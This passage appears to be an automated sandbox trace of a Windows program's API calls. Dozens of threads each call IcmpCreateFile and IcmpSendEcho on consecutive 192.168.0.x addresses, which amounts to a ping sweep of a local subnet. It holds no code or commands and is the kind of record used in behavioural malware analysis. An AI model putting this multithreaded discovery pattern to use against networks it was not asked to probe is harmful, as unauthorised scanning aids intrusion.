	[0252.900] IcmpSendEcho (IcmpHandle=0x322dc0, DestinationAddress=0x5900a8c0, RequestData=0xf6bfa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf6bfa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2970
	os_tid = 0x3444

	[0250.476] GetLastError () returned 0x57
	[0250.476] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x325c00
	[0250.477] SetLastError (dwErrCode=0x57) 
	[0250.477] IcmpCreateFile () returned 0x322e10
	[0252.901] IcmpSendEcho (IcmpHandle=0x322e10, DestinationAddress=0x5a00a8c0, RequestData=0xf82f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf82f940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2971
	os_tid = 0x3448

	[0250.477] GetLastError () returned 0x57
	[0250.477] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x325fd0
	[0250.477] SetLastError (dwErrCode=0x57) 
	[0250.478] IcmpCreateFile () returned 0x322e60
	[0252.902] IcmpSendEcho (IcmpHandle=0x322e60, DestinationAddress=0x5b00a8c0, RequestData=0xf95fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf95fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2972
	os_tid = 0x344c

	[0250.478] GetLastError () returned 0x57
	[0250.478] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3263a0
	[0250.478] SetLastError (dwErrCode=0x57) 
	[0250.478] IcmpCreateFile () returned 0x322eb0
	[0252.903] IcmpSendEcho (IcmpHandle=0x322eb0, DestinationAddress=0x5c00a8c0, RequestData=0xfaef7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfaef7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2973
	os_tid = 0x3450

	[0250.479] GetLastError () returned 0x57
	[0250.479] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x326770
	[0250.479] SetLastError (dwErrCode=0x57) 
	[0250.479] IcmpCreateFile () returned 0x322f00
	[0252.904] IcmpSendEcho (IcmpHandle=0x322f00, DestinationAddress=0x5d00a8c0, RequestData=0xfd1fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfd1fa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2974
	os_tid = 0x3454

	[0250.480] GetLastError () returned 0x57
	[0250.480] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x326b40
	[0250.480] SetLastError (dwErrCode=0x57) 
	[0250.480] IcmpCreateFile () returned 0x322f50
	[0252.905] IcmpSendEcho (IcmpHandle=0x322f50, DestinationAddress=0x5e00a8c0, RequestData=0xfc1f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfc1f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2975
	os_tid = 0x3458

	[0250.883] GetLastError () returned 0x57
	[0250.883] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x326f10
	[0250.883] SetLastError (dwErrCode=0x57) 
	[0250.883] IcmpCreateFile () returned 0x322fa0
	[0252.909] IcmpSendEcho (IcmpHandle=0x322fa0, DestinationAddress=0x5f00a8c0, RequestData=0xfecfaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfecfac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2978
	os_tid = 0x3468

	[0250.884] GetLastError () returned 0x57
	[0250.885] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3272e0
	[0250.886] SetLastError (dwErrCode=0x57) 
	[0250.886] IcmpCreateFile () returned 0x322ff0
	[0252.911] IcmpSendEcho (IcmpHandle=0x322ff0, DestinationAddress=0x6000a8c0, RequestData=0x1009fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1009fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2979
	os_tid = 0x346c

	[0250.886] GetLastError () returned 0x57
	[0250.886] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x332600
	[0250.890] SetLastError (dwErrCode=0x57) 
	[0250.890] IcmpCreateFile () returned 0x323040
	[0252.912] IcmpSendEcho (IcmpHandle=0x323040, DestinationAddress=0x6100a8c0, RequestData=0x102cf8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x102cf900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2980
	os_tid = 0x3470

	[0250.896] GetLastError () returned 0x57
	[0250.896] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3329d0
	[0250.897] SetLastError (dwErrCode=0x57) 
	[0250.897] IcmpCreateFile () returned 0x323090
	[0252.913] IcmpSendEcho (IcmpHandle=0x323090, DestinationAddress=0x6200a8c0, RequestData=0x104bf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x104bf880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2981
	os_tid = 0x3474

	[0250.898] GetLastError () returned 0x57
	[0250.898] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x332da0
	[0250.898] SetLastError (dwErrCode=0x57) 
	[0250.898] IcmpCreateFile () returned 0x3230e0
	[0252.914] IcmpSendEcho (IcmpHandle=0x3230e0, DestinationAddress=0x6300a8c0, RequestData=0x105efe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x105efe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2982
	os_tid = 0x3478

	[0250.898] GetLastError () returned 0x57
	[0250.899] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x333170
	[0250.899] SetLastError (dwErrCode=0x57) 
	[0250.899] IcmpCreateFile () returned 0x323130
	[0252.915] IcmpSendEcho (IcmpHandle=0x323130, DestinationAddress=0x6400a8c0, RequestData=0xf57f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf57f8a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2983
	os_tid = 0x347c

	[0250.899] GetLastError () returned 0x57
	[0250.899] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x333540
	[0250.900] SetLastError (dwErrCode=0x57) 
	[0250.900] IcmpCreateFile () returned 0x323180
	[0252.916] IcmpSendEcho (IcmpHandle=0x323180, DestinationAddress=0x6500a8c0, RequestData=0x1084f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1084f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2984
	os_tid = 0x3480

	[0250.901] GetLastError () returned 0x57
	[0250.901] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x333910
	[0250.901] SetLastError (dwErrCode=0x57) 
	[0250.901] IcmpCreateFile () returned 0x3231d0
	[0252.916] IcmpSendEcho (IcmpHandle=0x3231d0, DestinationAddress=0x6600a8c0, RequestData=0x10a3fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10a3fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2985
	os_tid = 0x3484

	[0250.902] GetLastError () returned 0x57
	[0250.902] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x333ce0
	[0250.902] SetLastError (dwErrCode=0x57) 
	[0250.902] IcmpCreateFile () returned 0x323220
	[0252.917] IcmpSendEcho (IcmpHandle=0x323220, DestinationAddress=0x6700a8c0, RequestData=0x10c4fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10c4fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2986
	os_tid = 0x3488

	[0250.903] GetLastError () returned 0x57
	[0250.903] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3340b0
	[0250.903] SetLastError (dwErrCode=0x57) 
	[0250.903] IcmpCreateFile () returned 0x323270
	[0252.918] IcmpSendEcho (IcmpHandle=0x323270, DestinationAddress=0x6800a8c0, RequestData=0x10dbf960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10dbf980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2987
	os_tid = 0x348c

	[0250.903] GetLastError () returned 0x57
	[0250.903] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x334480
	[0250.904] SetLastError (dwErrCode=0x57) 
	[0250.904] IcmpCreateFile () returned 0x3232c0
	[0252.919] IcmpSendEcho (IcmpHandle=0x3232c0, DestinationAddress=0x6900a8c0, RequestData=0x106efee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x106eff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2988
	os_tid = 0x3490

	[0250.904] GetLastError () returned 0x57
	[0250.904] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x334850
	[0250.904] SetLastError (dwErrCode=0x57) 
	[0250.905] IcmpCreateFile () returned 0x323310
	[0252.920] IcmpSendEcho (IcmpHandle=0x323310, DestinationAddress=0x6a00a8c0, RequestData=0x10fdfd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10fdfd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2989
	os_tid = 0x3494

	[0250.905] GetLastError () returned 0x57
	[0250.905] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x334c20
	[0250.905] SetLastError (dwErrCode=0x57) 
	[0250.905] IcmpCreateFile () returned 0x323360
	[0252.921] IcmpSendEcho (IcmpHandle=0x323360, DestinationAddress=0x6b00a8c0, RequestData=0x101bf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x101bf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2990
	os_tid = 0x3498

	[0250.906] GetLastError () returned 0x57
	[0250.906] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x334ff0
	[0250.906] SetLastError (dwErrCode=0x57) 
	[0250.906] IcmpCreateFile () returned 0x3233b0
	[0252.922] IcmpSendEcho (IcmpHandle=0x3233b0, DestinationAddress=0x6c00a8c0, RequestData=0x10edfae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10edfb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2991
	os_tid = 0x349c

	[0250.907] GetLastError () returned 0x57
	[0250.907] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3353c0
	[0250.907] SetLastError (dwErrCode=0x57) 
	[0250.907] IcmpCreateFile () returned 0x323400
	[0252.923] IcmpSendEcho (IcmpHandle=0x323400, DestinationAddress=0x6d00a8c0, RequestData=0x1121f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1121f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2992
	os_tid = 0x34a0

	[0250.907] GetLastError () returned 0x57
	[0250.908] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x335790
	[0250.908] SetLastError (dwErrCode=0x57) 
	[0250.908] IcmpCreateFile () returned 0x323450
	[0252.923] IcmpSendEcho (IcmpHandle=0x323450, DestinationAddress=0x6e00a8c0, RequestData=0x10b3fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10b3fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2993
	os_tid = 0x34a4

	[0250.908] GetLastError () returned 0x57
	[0250.908] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x335b60
	[0250.908] SetLastError (dwErrCode=0x57) 
	[0250.909] IcmpCreateFile () returned 0x3234a0
	[0252.924] IcmpSendEcho (IcmpHandle=0x3234a0, DestinationAddress=0x6f00a8c0, RequestData=0x114af8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x114af8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2994
	os_tid = 0x34a8

	[0250.909] GetLastError () returned 0x57
	[0250.909] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x335f30
	[0250.909] SetLastError (dwErrCode=0x57) 
	[0250.909] IcmpCreateFile () returned 0x3234f0
	[0252.925] IcmpSendEcho (IcmpHandle=0x3234f0, DestinationAddress=0x7000a8c0, RequestData=0x115bf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x115bf7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2995
	os_tid = 0x34ac

	[0250.910] GetLastError () returned 0x57
	[0250.910] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x336600
	[0250.911] SetLastError (dwErrCode=0x57) 
	[0250.911] IcmpCreateFile () returned 0x323540
	[0252.926] IcmpSendEcho (IcmpHandle=0x323540, DestinationAddress=0x7100a8c0, RequestData=0x1170fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1170fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2996
	os_tid = 0x34b0

	[0250.911] GetLastError () returned 0x57
	[0250.911] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3369d0
	[0250.912] SetLastError (dwErrCode=0x57) 
	[0250.912] IcmpCreateFile () returned 0x323590
	[0252.927] IcmpSendEcho (IcmpHandle=0x323590, DestinationAddress=0x7200a8c0, RequestData=0x110df960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x110df980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2997
	os_tid = 0x34b4

	[0250.913] GetLastError () returned 0x57
	[0250.913] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x336da0
	[0250.913] SetLastError (dwErrCode=0x57) 
	[0250.913] IcmpCreateFile () returned 0x3235e0
	[0252.928] IcmpSendEcho (IcmpHandle=0x3235e0, DestinationAddress=0x7300a8c0, RequestData=0x1139fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1139fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2998
	os_tid = 0x34b8

	[0250.914] GetLastError () returned 0x57
	[0250.914] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x337170
	[0250.914] SetLastError (dwErrCode=0x57) 
	[0250.914] IcmpCreateFile () returned 0x323630
	[0252.929] IcmpSendEcho (IcmpHandle=0x323630, DestinationAddress=0x7400a8c0, RequestData=0x1196fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1196fe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2999
	os_tid = 0x34bc

	[0250.914] GetLastError () returned 0x57
	[0250.914] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x337540
	[0250.915] SetLastError (dwErrCode=0x57) 
	[0250.915] IcmpCreateFile () returned 0x323680
	[0252.930] IcmpSendEcho (IcmpHandle=0x323680, DestinationAddress=0x7500a8c0, RequestData=0x1186fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1186fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3000
	os_tid = 0x34c0

	[0250.915] GetLastError () returned 0x57
	[0250.915] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x337910
	[0250.915] SetLastError (dwErrCode=0x57) 
	[0250.915] IcmpCreateFile () returned 0x3236d0
	[0252.931] IcmpSendEcho (IcmpHandle=0x3236d0, DestinationAddress=0x7600a8c0, RequestData=0x11a6fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11a6fd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3001
	os_tid = 0x34c4

	[0251.258] GetLastError () returned 0x57
	[0251.258] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x337ce0
	[0251.258] SetLastError (dwErrCode=0x57) 
	[0251.258] IcmpCreateFile () returned 0x323720
	[0252.932] IcmpSendEcho (IcmpHandle=0x323720, DestinationAddress=0x7700a8c0, RequestData=0x11d4f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11d4f7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3019
	os_tid = 0x3514

	[0251.259] GetLastError () returned 0x57
	[0251.259] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3380b0
	[0251.259] SetLastError (dwErrCode=0x57) 
	[0251.259] IcmpCreateFile () returned 0x323770
	[0252.935] IcmpSendEcho (IcmpHandle=0x323770, DestinationAddress=0x7800a8c0, RequestData=0x11e7f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11e7f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3020
	os_tid = 0x3518

	[0251.260] GetLastError () returned 0x57
	[0251.260] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x338480
	[0251.260] SetLastError (dwErrCode=0x57) 
	[0251.260] IcmpCreateFile () returned 0x3237c0
	[0252.936] IcmpSendEcho (IcmpHandle=0x3237c0, DestinationAddress=0x7900a8c0, RequestData=0x1200fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1200fc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3021
	os_tid = 0x351c

	[0251.260] GetLastError () returned 0x57
	[0251.260] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x338850
	[0251.261] SetLastError (dwErrCode=0x57) 
	[0251.261] IcmpCreateFile () returned 0x323810
	[0252.936] IcmpSendEcho (IcmpHandle=0x323810, DestinationAddress=0x7a00a8c0, RequestData=0x1217f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1217f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3022
	os_tid = 0x3520

	[0251.261] GetLastError () returned 0x57
	[0251.261] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x338c20
	[0251.261] SetLastError (dwErrCode=0x57) 
	[0251.261] IcmpCreateFile () returned 0x323860
	[0252.937] IcmpSendEcho (IcmpHandle=0x323860, DestinationAddress=0x7b00a8c0, RequestData=0x122af960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x122af980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3023
	os_tid = 0x3524

	[0251.262] GetLastError () returned 0x57
	[0251.262] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x338ff0
	[0251.262] SetLastError (dwErrCode=0x57) 
	[0251.262] IcmpCreateFile () returned 0x3238b0
	[0252.938] IcmpSendEcho (IcmpHandle=0x3238b0, DestinationAddress=0x7c00a8c0, RequestData=0x11c4f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11c4f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3024
	os_tid = 0x3528

	[0251.263] GetLastError () returned 0x57
	[0251.263] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3393c0
	[0251.263] SetLastError (dwErrCode=0x57) 
	[0251.263] IcmpCreateFile () returned 0x323900
	[0252.939] IcmpSendEcho (IcmpHandle=0x323900, DestinationAddress=0x7d00a8c0, RequestData=0x123efe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x123efe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3025
	os_tid = 0x352c

	[0251.263] GetLastError () returned 0x57
	[0251.263] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x339790
	[0251.264] SetLastError (dwErrCode=0x57) 
	[0251.264] IcmpCreateFile () returned 0x342e00
	[0252.940] IcmpSendEcho (IcmpHandle=0x342e00, DestinationAddress=0x7e00a8c0, RequestData=0x124ef720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x124ef740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3026
	os_tid = 0x3530

	[0251.264] GetLastError () returned 0x57
	[0251.264] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x339b60
	[0251.266] SetLastError (dwErrCode=0x57) 
	[0251.266] IcmpCreateFile () returned 0x342e50
	[0252.940] IcmpSendEcho (IcmpHandle=0x342e50, DestinationAddress=0x7f00a8c0, RequestData=0x1276f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1276f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3027
	os_tid = 0x3534

	[0251.266] GetLastError () returned 0x57
	[0251.267] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x339f30
	[0251.267] SetLastError (dwErrCode=0x57) 
	[0251.267] IcmpCreateFile () returned 0x342ea0
	[0252.941] IcmpSendEcho (IcmpHandle=0x342ea0, DestinationAddress=0x8000a8c0, RequestData=0x128dfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x128dfc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3028
	os_tid = 0x3538

	[0251.267] GetLastError () returned 0x57
	[0251.267] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x343e00
	[0251.270] SetLastError (dwErrCode=0x57) 
	[0251.270] IcmpCreateFile () returned 0x342ef0
	[0252.942] IcmpSendEcho (IcmpHandle=0x342ef0, DestinationAddress=0x8100a8c0, RequestData=0x12a6fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12a6fc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3029
	os_tid = 0x353c

	[0251.270] GetLastError () returned 0x57
	[0251.270] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3441d0
	[0251.270] SetLastError (dwErrCode=0x57) 
	[0251.270] IcmpCreateFile () returned 0x342f40
	[0252.943] IcmpSendEcho (IcmpHandle=0x342f40, DestinationAddress=0x8200a8c0, RequestData=0x12b7fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12b7fc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3030
	os_tid = 0x3540

	[0251.271] GetLastError () returned 0x57
	[0251.271] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3445a0
	[0251.271] SetLastError (dwErrCode=0x57) 
	[0251.271] IcmpCreateFile () returned 0x342f90
	[0252.944] IcmpSendEcho (IcmpHandle=0x342f90, DestinationAddress=0x8300a8c0, RequestData=0x12c8faa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12c8fac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3031
	os_tid = 0x3544

	[0251.272] GetLastError () returned 0x57
	[0251.272] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x344970
	[0251.272] SetLastError (dwErrCode=0x57) 
	[0251.272] IcmpCreateFile () returned 0x342fe0
	[0252.945] IcmpSendEcho (IcmpHandle=0x342fe0, DestinationAddress=0x8400a8c0, RequestData=0x12e7fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12e7fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3032
	os_tid = 0x3548

	[0251.272] GetLastError () returned 0x57
	[0251.272] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x344d40
	[0251.273] SetLastError (dwErrCode=0x57) 
	[0251.273] IcmpCreateFile () returned 0x343030
	[0252.945] IcmpSendEcho (IcmpHandle=0x343030, DestinationAddress=0x8500a8c0, RequestData=0x1304fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1304fe00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3033
	os_tid = 0x354c

	[0251.273] GetLastError () returned 0x57
	[0251.273] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x345110
	[0251.273] SetLastError (dwErrCode=0x57) 
	[0251.273] IcmpCreateFile () returned 0x343080
	[0252.946] IcmpSendEcho (IcmpHandle=0x343080, DestinationAddress=0x8600a8c0, RequestData=0x1327f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1327f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3034
	os_tid = 0x3550

	[0251.274] GetLastError () returned 0x57
	[0251.274] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3454e0
	[0251.274] SetLastError (dwErrCode=0x57) 
	[0251.274] IcmpCreateFile () returned 0x3430d0
	[0252.947] IcmpSendEcho (IcmpHandle=0x3430d0, DestinationAddress=0x8700a8c0, RequestData=0x133afd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x133afd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3035
	os_tid = 0x3554

	[0251.274] GetLastError () returned 0x57
	[0251.274] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3458b0
	[0251.275] SetLastError (dwErrCode=0x57) 
	[0251.275] IcmpCreateFile () returned 0x343120
	[0252.948] IcmpSendEcho (IcmpHandle=0x343120, DestinationAddress=0x8800a8c0, RequestData=0x134bfcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x134bfce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3036
	os_tid = 0x3558

	[0251.275] GetLastError () returned 0x57
	[0251.275] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x345c80
	[0251.275] SetLastError (dwErrCode=0x57) 
	[0251.275] IcmpCreateFile () returned 0x343170
	[0252.949] IcmpSendEcho (IcmpHandle=0x343170, DestinationAddress=0x8900a8c0, RequestData=0x1360f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1360f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3037
	os_tid = 0x355c

	[0251.276] GetLastError () returned 0x57
	[0251.276] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x346050
	[0251.276] SetLastError (dwErrCode=0x57) 
	[0251.276] IcmpCreateFile () returned 0x3431c0
	[0252.950] IcmpSendEcho (IcmpHandle=0x3431c0, DestinationAddress=0x8a00a8c0, RequestData=0x1262f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1262f820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3038
	os_tid = 0x3560

	[0251.276] GetLastError () returned 0x57
	[0251.276] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x346420
	[0251.277] SetLastError (dwErrCode=0x57) 
	[0251.277] IcmpCreateFile () returned 0x343210
	[0252.950] IcmpSendEcho (IcmpHandle=0x343210, DestinationAddress=0x8b00a8c0, RequestData=0x137afce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x137afd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3039
	os_tid = 0x3564

	[0251.277] GetLastError () returned 0x57
	[0251.277] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3467f0
	[0251.277] SetLastError (dwErrCode=0x57) 
	[0251.277] IcmpCreateFile () returned 0x343260
	[0252.951] IcmpSendEcho (IcmpHandle=0x343260, DestinationAddress=0x8c00a8c0, RequestData=0x1398fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1398fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3040
	os_tid = 0x3568

	[0251.278] GetLastError () returned 0x57
	[0251.278] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x346bc0
	[0251.278] SetLastError (dwErrCode=0x57) 
	[0251.278] IcmpCreateFile () returned 0x3432b0
	[0252.952] IcmpSendEcho (IcmpHandle=0x3432b0, DestinationAddress=0x8d00a8c0, RequestData=0x13baf8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13baf900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3041
	os_tid = 0x356c

	[0251.279] GetLastError () returned 0x57
	[0251.279] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x346f90
	[0251.279] SetLastError (dwErrCode=0x57) 
	[0251.279] IcmpCreateFile () returned 0x343300
	[0252.953] IcmpSendEcho (IcmpHandle=0x343300, DestinationAddress=0x8e00a8c0, RequestData=0x13cbf8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13cbf8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3042
	os_tid = 0x3570

	[0251.280] GetLastError () returned 0x57
	[0251.280] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x347360
	[0251.280] SetLastError (dwErrCode=0x57) 
	[0251.280] IcmpCreateFile () returned 0x343350
